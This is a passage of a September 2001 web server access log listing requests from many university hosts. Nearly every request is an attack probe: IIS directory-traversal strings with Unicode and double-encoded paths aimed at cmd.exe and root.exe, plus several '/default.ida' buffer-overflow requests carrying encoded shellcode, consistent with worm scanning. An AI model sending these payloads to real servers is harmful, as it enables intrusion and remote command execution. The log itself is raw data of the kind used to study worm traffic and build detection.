  5139. 20010918 17:04:22: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5140. 20010918 17:04:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5141. 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5142. 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5143. 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5144. 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5145. 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5146. 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5147. 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5148. 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5149. 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5150. 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5151. 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5152. 20010918 17:06:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5153. 20010918 17:06:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5154. 20010918 17:06:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5155. 20010918 17:06:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5156. 20010918 17:06:47: facilities.brown.edu [128.148.132.13] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5157. 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5158. 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5159. 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5160. 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5161. 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5162. 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5163. 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5164. 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5165. 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5166. 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5167. 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5168. 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5169. 20010918 17:07:59: facilities.brown.edu [128.148.132.13] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5170. 20010918 17:08:00: facilities.brown.edu [128.148.132.13] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5171. 20010918 17:08:00: facilities.brown.edu [128.148.132.13] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5172. 20010918 17:08:00: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5173. 20010918 17:10:43: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5174. 20010918 17:12:15: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5175. 20010918 17:12:15: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5176. 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5177. 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5178. 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5179. 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5180. 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5181. 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5182. 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5183. 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5184. 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5185. 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5186. 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5187. 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5188. 20010918 17:12:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5189. 20010918 17:12:17: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5190. 20010918 17:14:21: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5191. 20010918 17:14:21: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5192. 20010918 17:14:21: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5193. 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5194. 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5195. 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5196. 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5197. 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5198. 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5199. 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5200. 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5201. 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5202. 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5203. 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5204. 20010918 17:14:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5205. 20010918 17:14:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5206. 20010918 17:19:14: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5207. 20010918 17:19:14: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5208. 20010918 17:19:14: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5209. 20010918 17:19:14: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5210. 20010918 17:19:14: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5211. 20010918 17:19:14: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5212. 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5213. 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5214. 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5215. 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5216. 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5217. 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5218. 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5219. 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5220. 20010918 17:19:15: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5221. 20010918 17:19:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5222. 20010918 17:28:08: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5223. 20010918 17:28:08: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5224. 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5225. 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5226. 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5227. 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5228. 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5229. 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5230. 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5231. 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5232. 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5233. 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5234. 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5235. 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5236. 20010918 17:28:09: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5237. 20010918 17:28:10: dhcp0.cs.columbia.edu [128.59.19.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5238. 20010918 17:28:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5239. 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5240. 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5241. 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5242. 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5243. 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5244. 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5245. 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5246. 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5247. 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5248. 20010918 17:32:17: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5249. 20010918 17:32:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5250. 20010918 17:32:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5251. 20010918 17:32:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5252. 20010918 17:32:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5253. 20010918 17:32:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5254. 20010918 17:32:18: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5255. 20010918 17:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5256. 20010918 17:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5257. 20010918 17:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5258. 20010918 17:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5259. 20010918 17:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5260. 20010918 17:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5261. 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5262. 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5263. 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5264. 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5265. 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5266. 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5267. 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5268. 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5269. 20010918 17:33:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5270. 20010918 17:33:42:  [207.217.253.41] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5271. 20010918 17:34:24:  [207.217.253.41] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5272. 20010918 17:34:43:  [207.217.253.41] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5273. 20010918 17:35:01:  [207.217.253.41] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5274. 20010918 17:35:20:  [207.217.253.41] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5275. 20010918 17:35:41:  [207.217.253.41] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5276. 20010918 17:36:00:  [207.217.253.41] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5277. 20010918 17:36:19:  [207.217.253.41] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5278. 20010918 17:36:37:  [207.217.253.41] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5279. 20010918 17:36:56:  [207.217.253.41] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5280. 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5281. 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5282. 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5283. 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5284. 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5285. 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5286. 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5287. 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5288. 20010918 17:37:18:  [207.217.253.41] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5289. 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5290. 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5291. 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5292. 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5293. 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5294. 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5295. 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5296. 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5297. 20010918 17:37:37:  [207.217.253.41] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5298. 20010918 17:37:55:  [207.217.253.41] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5299. 20010918 17:38:14:  [207.217.253.41] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5300. 20010918 17:38:33: dialup-1-32.cc.columbia.edu [128.59.42.41] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5301. 20010918 17:38:33:  [207.217.253.41] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5302. 20010918 17:38:55: dialup-1-32.cc.columbia.edu [128.59.42.41] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5303. 20010918 17:38:55:  [207.217.253.41] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5304. 20010918 17:39:14: dialup-1-32.cc.columbia.edu [128.59.42.41] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5305. 20010918 17:39:14: dialup-1-32.cc.columbia.edu [128.59.42.41] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5306. 20010918 17:39:18: dialup-1-32.cc.columbia.edu [128.59.42.41] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5307. 20010918 17:39:23: byup1un1.byu.edu [128.187.0.140] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5308. 20010918 17:42:45: byup1un1.byu.edu [128.187.0.140] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5309. 20010918 17:42:45: byup1un1.byu.edu [128.187.0.140] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5310. 20010918 17:42:45: byup1un1.byu.edu [128.187.0.140] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5311. 20010918 17:42:46: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5312. 20010918 17:42:46: byup1un1.byu.edu [128.187.0.140] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
